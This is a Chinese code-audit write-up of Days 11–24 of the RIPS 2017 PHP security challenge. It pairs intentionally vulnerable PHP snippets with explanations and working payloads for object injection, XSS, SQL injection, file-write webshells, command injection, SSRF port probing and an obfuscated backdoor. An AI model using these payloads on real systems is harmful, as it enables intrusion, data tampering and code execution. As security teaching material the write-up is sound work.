RIPS Technologies2017代码审计的第二篇。
Day 11 - Pumpkin Pie 漏洞代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 class Template { public $cacheFile = '/tmp/cachefile' ; public $template = '<div>Welcome back %s</div>' ; public function __construct ($data = null) { $data = $this ->loadData($data); $this ->render($data); } public function loadData ($data) { if (substr($data, 0 , 2 ) !== 'O:' && !preg_match('/O:\d:\/' , $data)) { return unserialize($data); } return []; } public function createCache ($file = null, $tpl = null) { $file = $file ?? $this ->cacheFile; $tpl = $tpl ?? $this ->template; file_put_contents($file, $tpl); } public function render ($data) { echo sprintf( $this ->template, htmlspecialchars($data['name' ]) ); } public function __destruct () { $this ->createCache(); } } new Template($_COOKIE['data' ]);
漏洞分析 代码中需要修改的一点:正则/O:\d:\/
改为/O:\d:/
。
代码中存在反序列化的点,但反序列化前进行了过滤,开头的前两位必须不为O:8
,并且不许存在O:数字:
这样的序列化数据存在。先说一下这样过滤的意义,在php的序列化数据中,a代表array,s代表string,b代表bool,而数字代表个数/长度,o代表一个对象。因此这样就无法对已经序列化的对象进行反序列化,从而预防了任意对象反序列化的危害。
但是对于第一个过滤,可以采用数组的方式绕过,测试如下:
1 2 3 $test=array ("user" =>1 ,"pass" =>1 ); echo var_dump(serialize($test));
对于第二个过滤规则,只需要在对象长度前添加一个+号,原理参考如下文章:
1 https://www.phpbug.cn/archives/32.html
漏洞验证 payload:
1 2 3 4 5 6 7 8 9 class Template { public $cacheFile = '/var/www/html/config.php' ; public $template = '<?php phpinfo();?>' ; } $mytemp = new Template(); $myarray = array ('name' =>'test' ,$mytemp); $myarray = serialize($myarray); var_dump($myarray);
需要将0:8
变为0:+8
Day 12 - String Lights 漏洞代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 $sanitized = []; foreach ($_GET as $key => $value) { $sanitized[$key] = intval($value); } $queryParts = array_map(function ($key, $value) { return $key . '=' . $value; }, array_keys($sanitized), array_values($sanitized)); $query = implode('&' , $queryParts); echo "<a href='/images/size.php?" . htmlentities($query) . "'>link</a>" ;
漏洞分析 代码中对输入的字符进行处理后最终反馈到前端页面上,其中对value进行了intval
处理,但忽略了对key的处理,接下来重要的就是要绕过htmlentities
,手册上解释如下:
1 2 3 4 htmlentities ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401 [, string $encoding = ini_get("default_charset") [, bool $double_encode = true ]]] ) : string 本函数各方面都和 htmlspecialchars() 一样, 除了 htmlentities() 会转换所有具有 HTML 实体的字符。 如果要解码(反向操作),可以使用 html_entity_decode()。
htmlentities
默认情况下不会对单引号进行转义。
漏洞验证 payload:
1 a%27onclick%3Dalert%281%29%2f%2f=1
Day 13 - Turkey Baster 漏洞代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 class LoginManager { private $em; private $user; private $password; public function __construct ($user, $password) { $this ->em = DoctrineManager::getEntityManager(); $this ->user = $user; $this ->password = $password; } public function isValid () { $user = $this ->sanitizeInput($this ->user); $pass = $this ->sanitizeInput($this ->password); $queryBuilder = $this ->em->createQueryBuilder() ->select("COUNT(p)" ) ->from("User" , "u" ) ->where("user = '$user' AND password = '$pass'" ); $query = $queryBuilder->getQuery(); return boolval($query->getSingleScalarResult()); } public function sanitizeInput ($input, $length = 20 ) { $input = addslashes($input); if (strlen($input) > $length) { $input = substr($input, 0 , $length); } return $input; } } $auth = new LoginManager($_POST['user' ], $_POST['passwd' ]); if (!$auth->isValid()) { exit ; }
漏洞分析 代码中通过addslashes
函数试图阻止sql危害的产生,函数解释如下:
1 2 addslashes ( string $str ) : string 返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号(')、双引号(")、反斜线(\)与 NUL(NULL 字符)。
代码中对所输入的长度进行了最长为20的限制,利用这个限制,我们可以构造经过转义后长度大于20的字符串,经过substr
函数的截断,逃逸出\
,测试如下:
1 2 3 4 php > var_dump(substr(addslashes("123456789123456789'" ),0 ,20 )); string(20 ) "123456789123456789\'" php > var_dump(substr(addslashes("1234567890123456789'" ),0 ,20 )); string(20 ) "1234567890123456789\"
漏洞验证 构造如下paylod:
1 user=1234567890123456789'&passwd=or 1=1#
最终在where语句处查询的最终表达式为:
1 user = '1234567890123456789\' AND password = 'or 1=1#'
返回结构始终为true。
Day 14 - Snowman 漏洞代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 class Carrot { const EXTERNAL_DIRECTORY = '/tmp/' ; private $id; private $lost = 0 ; private $bought = 0 ; public function __construct ($input) { $this ->id = rand(1 , 1000 ); foreach ($input as $field => $count) { $this ->$field = $count++; } } public function __destruct () { file_put_contents( self ::EXTERNAL_DIRECTORY . $this ->id, var_export(get_object_vars($this ), true ) ); } } $carrot = new Carrot($_GET);
漏洞分析 foreach处存在明显的变量覆盖漏洞,因此写入文件的名称以及路径完全可控。
代码中因使用了var_export
对对象数组进行了处理,会获取示例的所有的属性,那么我们就可以构造属性进行写入。参数含义如下:
1 2 3 var_export ( mixed $expression [, bool $return ] ) : mixed 此函数返回关于传递给该函数的变量的结构信息,它和 var_dump() 类似,不同的是其返回的表示是合法的 PHP 代码。 您可以通过将函数的第二个参数设置为 TRUE,从而返回变量的表示。
漏洞验证 payload:
1 id=../../var/www/html/test/shell.php&t1=1%22%3C%3Fphp%20phpinfo%28%29%3F%3E%224
Day 15 - Sleigh Ride 漏洞代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 class Redirect { private $websiteHost = 'www.example.com' ; private function setHeaders ($url) { $url = urldecode($url); header("Location: $url" ); } public function startRedirect ($params) { $parts = explode('/' , $_SERVER['PHP_SELF' ]); $baseFile = end($parts); $url = sprintf( "%s?%s" , $baseFile, http_build_query($params) ); $this ->setHeaders($url); } } if ($_GET['redirect' ]) { (new Redirect())->startRedirect($_GET['params' ]); }
漏洞分析 代码处理自身的url路径来得到下一步需要跳转的url,通过explode
函数分割url,再通过end
函数得到最后一个文件的路径。可以做以下测试:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 php > var_dump(explode('/', 'http://www.test.com/index.php')); array(4) { [0]=> string(5) "http:" [1]=> string(0) "" [2]=> string(12) "www.test.com" [3]=> string(9) "index.php" } php > var_dump(explode('/', 'http://www.test.com/www.hacker.com')); array(4) { [0]=> string(5) "http:" [1]=> string(0) "" [2]=> string(12) "www.test.com" [3]=> string(14) "www.hacker.com" }
因此跳转的路径是可控的,但这样还不能进行跳转,需要加上http
协议。
漏洞验证 当对目标的url进行一次编码时会报错,需要进行两次url编码。进行二次编码之后,index.php/http%253A%252f%252fwww.vulnspy.com?redirect=1
,经过$baseFile = end($parts);
得到的就是http%3A%2f%2fwww.vulnspy.com
。最后进入到$url = urldecode($url);header("Location: $url");
,最终跳转的目录就是http://www.vulnspy.com?
,这样就可以完成任意网站的跳转了。
Day 16 - Poem 漏洞代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 class FTP { public $sock; public function __construct ($host, $port, $user, $pass) { $this ->sock = fsockopen($host, $port); $this ->login($user, $pass); $this ->cleanInput(); $this ->mode($_REQUEST['mode' ]); $this ->send($_FILES['file' ]); } private function cleanInput () { $_GET = array_map('intval' , $_GET); $_POST = array_map('intval' , $_POST); $_COOKIE = array_map('intval' , $_COOKIE); } public function login ($username, $password) { fwrite($this ->sock, "USER " . $username . "\n" ); fwrite($this ->sock, "PASS " . $password . "\n" ); } public function mode ($mode) { if ($mode == 1 || $mode == 2 || $mode == 3 ) { fputs($this ->sock, "MODE $mode\n" ); } } public function send ($data) { fputs($this ->sock, $data); } } new FTP('localhost' , 21 , 'user' , 'password' );
漏洞分析 代码中cleanInput
函数对输入的参数进行了intval
处理,但这样依然无法改变$_REQUEST
所获取的参数值,因为$_REQUEST
是直接从GET,POST 和 COOKIE中取值,不是他们的引用。即使后续GET,POST 和 COOKIE
发生了变化,也不会影响$_REQUEST
的结果。测试如下(test.php):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php class FTP { public function __construct () { $this ->cleanInput(); var_dump($_GET); var_dump($_REQUEST); } private function cleanInput () { $_GET = array_map('intval' , $_GET); $_POST = array_map('intval' , $_POST); $_COOKIE = array_map('intval' , $_COOKIE); } } new FTP();?>
结果如下:
1 array (1 ) { ["id" ]=> int(1 ) } array (1 ) { ["id" ]=> string(5 ) "1test" }
代码中比较mode时使用了弱比较,可以很轻易绕过造成任意文件删除。
漏洞验证 payload:
1 mode=1%0a%0dDELETE%20test.file
Day 17 - Mistletoe 漏洞代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 class RealSecureLoginManager { private $em; private $user; private $password; public function __construct ($user, $password) { $this ->em = DoctrineManager::getEntityManager(); $this ->user = $user; $this ->password = $password; } public function isValid () { $pass = md5($this ->password, true ); $user = $this ->sanitizeInput($this ->user); $queryBuilder = $this ->em->createQueryBuilder() ->select("COUNT(p)" ) ->from("User" , "u" ) ->where("password = '$pass' AND user = '$user'" ); $query = $queryBuilder->getQuery(); return boolval($query->getSingleScalarResult()); } public function sanitizeInput ($input) { return addslashes($input); } } $auth = new RealSecureLoginManager( $_POST['user' ], $_POST['passwd' ] ); if (!$auth->isValid()) { exit ; }
漏洞分析 乍一看这段代码与Day 13 - Turkey Baster
上的代码类似,但没有了字符串的截断操作,但是在对密码加密处看到调用了md5函数,并还有类一个选项为true,看一下官方手册:
1 2 3 4 5 6 md5 ( string $str [, bool $raw_output = FALSE ] ) : string 使用 » RSA 数据安全公司的 MD5 报文算法计算 str 的 MD5 散列值。 str 原始字符串。 raw_output 如果可选的 raw_output 被设置为 TRUE,那么 MD5 报文摘要将以16字节长度的原始二进制格式返回。
本地测试:
1 2 var_dump(md5(128, true)); res:string(16) "v�an���l���q��\"
漏洞验证 可见经过md5(str, true)的转换,最后一位会产生反斜杠,造成单引号逃逸,payload:
1 passwd=128&user=' or 1%23
Day 18 - Sign 漏洞代码 1 2 3 4 5 6 7 8 9 10 11 12 class JWT { public function verifyToken ($data, $signature) { $pub = openssl_pkey_get_public("file://pub_key.pem" ); $signature = base64_decode($signature); if (openssl_verify($data, $signature, $pub)) { $object = json_decode(base64_decode($data)); $this ->loginAsUser($object); } } } (new JWT())->verifyToken($_GET['d' ], $_GET['s' ]);
漏洞分析 本题目的问题是在于openssl_verify()
的错误使用,根据php手册说明:
1 2 3 openssl_verify ( string $data , string $signature , mixed $pub_key_id [, mixed $signature_alg = OPENSSL_ALGO_SHA1 ] ) : int openssl_verify() 使用与pub_key_id关联的公钥验证指定数据data的签名signature是否正确。这必须是与用于签名的私钥相对应的公钥。 如果签名正确返回 1, 签名错误返回 0, 内部发生错误则返回-1.
但是在if
判断中得到的结果是True,if判断只有遇到0
或者是false
返回的才是false
。所以如果能够使得openssl_verify()
出错返回-1
就能够绕过验证。
漏洞验证 如果让openssl_verify()
出错呢?我们使用一个其他的pub_key.pem
来生成data
和signature
,这样就可以使得openssl_verify()
返回-1。在本题中既然已经知道了openssl_verify()
返回结果,我们可以使用if(openssl_verify()===1)
来避免被绕过。
Day 19 - Birch 漏洞代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 class ImageViewer { private $file; function __construct ($file) { $this ->file = "images/$file" ; $this ->createThumbnail(); } function createThumbnail () { $e = stripcslashes( preg_replace( '/[^0-9\\\]/' , '' , isset ($_GET['size' ]) ? $_GET['size' ] : '25' ) ); system("/usr/bin/convert $this->file --resize $e ./thumbs/$this->file" ); } function __toString () { return "<a href=$this->file> <img src=./thumbs/$this->file></a>" ; } } echo (new ImageViewer("image.png" ));
漏洞分析 代码中唯一可控的点为size
,但是经过了preg_replace
的替换,非0-9
或\
都将替换为空,在system函数出不太好进行命令执行,但之后又经过了stripcslashes函数的处理,。首先来看一下stripcslashes函数的作用:
1 2 stripcslashes ( string $str ) : string 返回反转义后的字符串。可识别类似 C 语言的 \n,\r,... 八进制以及十六进制的描述。
测试如下:
1 2 php > var_dump(stripcslashes('0\073\163\154\145\145\160\0405\073')); string(10) "0;sleep 5;"
漏洞验证 通过上面的测试,发现stripcslashes
刚好把八进制转为了字符串,输入中又没有存在字母的情况,payload为:
1 0\073\163\154\145\145\160\0405\073
那么最终能够执行的命令就是:
1 /usr/bin/convert images/image.png --resize 0;sleep 5; ./thumbs/image.png
Day 20 - Stocking 漏洞代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 set_error_handler(function ($no, $str, $file, $line) { throw new ErrorException($str, 0 , $no, $file, $line); }, E_ALL); class ImageLoader { public function getResult ($uri) { if (!filter_var($uri, FILTER_VALIDATE_URL)) { return '<p>Please enter valid uri</p>' ; } try { $image = file_get_contents($uri); $path = "./images/" . uniqid() . '.jpg' ; file_put_contents($path, $image); if (mime_content_type($path) !== 'image/jpeg' ) { unlink($path); return '<p>Only .jpg files allowed</p>' ; } } catch (Exception $e) { return '<p>There was an error: ' . $e->getMessage() . '</p>' ; } return '<img src="' . $path . '" width="100"/>' ; } } echo (new ImageLoader())->getResult($_GET['img' ]);
漏洞分析 本题目的是问题是在于提供了错误显示,这样就导致可以根据错误信息推断服务器上面的信息,类似于MYSQL中的报错注入。而在本题中则是存在一个SSRF漏洞。分析代码,在代码的最前方有:set_error_handler(function ($no, $str, $file, $line) { throw new ErrorException($str, 0, $no, $file, $line);}, E_ALL);
这个就类似于设置如下的代码:error_reporting(E_ALL);ini_set('display_errors', TRUE);ini_set('display_startup_errors', TRUE);
,如此就会包含所有的错误信息。
错误的显示配置加上'There was an error: ' .$e->getMessage() . ''
就导致会在页面上显示所有的信息,包括warning信息。
漏洞验证 正常情况下,如果使用file_get_contents('http://127.0.0.1:80')
显示的仅仅只是warning信息
,在正常的PHP页面中是不会显示warning信息的。但是在开启了上述的配置之后,所有的信息都会在页面上显示。这样就导致我们可以通过SSRF来探测内网的端口和服务了。例如:
payload可以写为:img=http://127.0.0.1:22
,如果出现了There was an error: file_get_contents(http://127.0.0.1:22): failed to open stream: HTTP request failed! SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.2
,则表示存在openssh的服务。
payload为img=http://127.0.0.1:25
,如果出现了There was an error: file_get_contents(http://127.0.0.1:25): failed to open stream: HTTP request failed! 220 ubuntu ESMTP Sendmail 8.15.2/8.15.2/Debian-3; Tue, 26 Dec 2017 07:43:45 -0800; (No UCE/UBE) logging access from: localhost
则表示存在SMTP。
如果通过payload访问不存在的端口,img=http://127.0.0.1:30
,出现了There was an error: file_get_contents(http://127.0.0.1:30): failed to open stream: Connection refused
,则表明30端口没有服务。
所以通过这种方式就能够有效地探测内网端口服务了。
Day 21 - Gift Wrap 漏洞代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 declare (strict_types=1 );class ParamExtractor { private $validIndices = []; private function indices ($input) { $validate = function (int $value, $key) { if ($value > 0 ) { $this ->validIndices[] = $key; } }; try { array_walk($input, $validate, 0 ); } catch (TypeError $error) { echo "Only numbers are allowed as input" ; } return $this ->validIndices; } public function getCommand ($parameters) { $indices = $this ->indices($parameters); $params = []; foreach ($indices as $index) { $params[] = $parameters[$index]; } return implode($params, ' ' ); } } $cmd = (new ParamExtractor())->getCommand($_GET['p' ]); system('resizeImg image.png ' . $cmd);
漏洞分析 这是一道在运行在php7上的题目,题目本上的考察点比较少见,主要是利用了array_walk()
的一个bug。php是一个弱类型的语言,在传入参数时并不会进行类型检查,甚至有时候还会进行隐式类型转换,很多时候由于开发人员的疏忽就会导致漏洞产生。在php7中就引入了declare(strict_types=1);
这种声明方式,在进行函数调用的时候会进行参数类型检查。如果参数类型不匹配则函数不会被调用,这种方式就和诸如Java这类强类型的语言就是一样的了。如下:
1 2 3 4 5 6 7 8 declare (strict_types=1 );function addnum (int $a,int $b) { return $a+$b; } $result = addnum(1 ,2 ); var_dump($result); $result = addnum('1' ,'2' ); var_dump($result);
按照php7的这种类型,那么最后通过validate()
函数的就只有参数是大于0的,这样看来本题目是没有问题的。但是本题的关键是在于使用了array_walk()
来调用validate
函数。通过array_walk()
调用的函数会忽略掉严格模式还是按照之前的php的类型转换的方式调用函数。 。如下:
1 2 3 4 5 6 7 declare (strict_types=1 );function addnum (int &$value) { $value = $value+1 ; } $input = array ('3a' ,'4b' ); array_walk($input,addnum); var_dump($input);
最后得到的input数组是array(4,5)
,所以说明了在使用array_walk()
会忽略掉类型检查。
漏洞验证 那么在本题目中,由于array_walk()
的这种特性,导致我们可以传入任意字符进去,从而也可以造成命令执行了。最后的payload可以是?p[1]=1&p[2]=2;%20ls%20-la
。
Day 22 - Chimney 漏洞代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 if (isset ($_POST['password' ])) { setcookie('hash' , md5($_POST['password' ])); header("Refresh: 0" ); exit ; } $password = '0e836584205638841937695747769655' ; if (!isset ($_COOKIE['hash' ])) { echo '<form><input type="password" name="password" />' . '<input type="submit" value="Login" ></form >' ; exit ; } elseif (md5($_COOKIE['hash' ]) == $password) { echo 'Login succeeded' ; } else { echo 'Login failed' ; }
漏洞分析 存在若比较,并且以0e开头的md5值,只需要找到其他0e开头的hash即可验证通过。
漏洞验证 payload:
Day 23 - Cookies 漏洞代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 class LDAPAuthenticator { public $conn; public $host; function __construct ($host = "localhost" ) { $this ->host = $host; } function authenticate ($user, $pass) { $result = []; $this ->conn = ldap_connect($this ->host); ldap_set_option( $this ->conn, LDAP_OPT_PROTOCOL_VERSION, 3 ); if (!@ldap_bind($this ->conn)) return -1 ; $user = ldap_escape($user, null , LDAP_ESCAPE_DN); $pass = ldap_escape($pass, null , LDAP_ESCAPE_DN); $result = ldap_search( $this ->conn, "" , "(&(uid=$user)(userPassword=$pass))" ); $result = ldap_get_entries($this ->conn, $result); return ($result["count" ] > 0 ? 1 : 0 ); } } if (isset ($_GET["u" ]) && isset ($_GET["p" ])) { $ldap = new LDAPAuthenticator(); if ($ldap->authenticate($_GET["u" ], $_GET["p" ])) { echo "You are now logged in!" ; } else { echo "Username or password unknown!" ; } }
漏洞分析 本题主要是ldap的登录验证的代码,但是由于过滤函数使用不当而导致的任意用户登录的漏洞。
在题目中使用的过滤函数是ldap_escape($user, null, LDAP_ESCAPE_DN)
。php手册上对第三个参数的说明如下:
1 2 3 4 5 6 7 8 9 10 11 ldap_escape ( string $value [, string $ignore = "" [, int $flags = 0 ]] ) : string Escapes value for use in the context implied by flags. 参数 ¶ value The value to escape. ignore Characters to ignore when escaping. flags The context the escaped string will be used in: LDAP_ESCAPE_FILTER for filters to be used with ldap_search(), or LDAP_ESCAPE_DN for DNs. If neither flag is passed, all chars are escaped.
当使用ldap_search()
时需要选择LDAP_ESCAPE_FILTER
过滤字符串,但是本题中选择的是LDAP_ESCAPE_DN
,这样就导致过滤无效。
漏洞验证
Day 24 - Nutcracker 漏洞代码 1 2 3 4 5 6 @$GLOBALS=$GLOBALS{next}=next($GLOBALS{'GLOBALS' }) [$GLOBALS['next' ]['next' ]=next($GLOBALS)['GLOBALS' ]] [$next['GLOBALS' ]=next($GLOBALS[GLOBALS]['GLOBALS' ]) [$next['next' ]]][$next['GLOBALS' ]=next($next['GLOBALS' ])] [$GLOBALS[next]['next' ]($GLOBALS['next' ]{'GLOBALS' })]= next(neXt(${'next' }['next' ]));
这道题目是Hack.lu CTF 2014: Next Global Backdoor
上的一道题目,具体的解答可以看Hack.lu CTF 2014: Next Global Backdoor ,也有一篇中文文章的介绍Hack.lu 2014 Writeup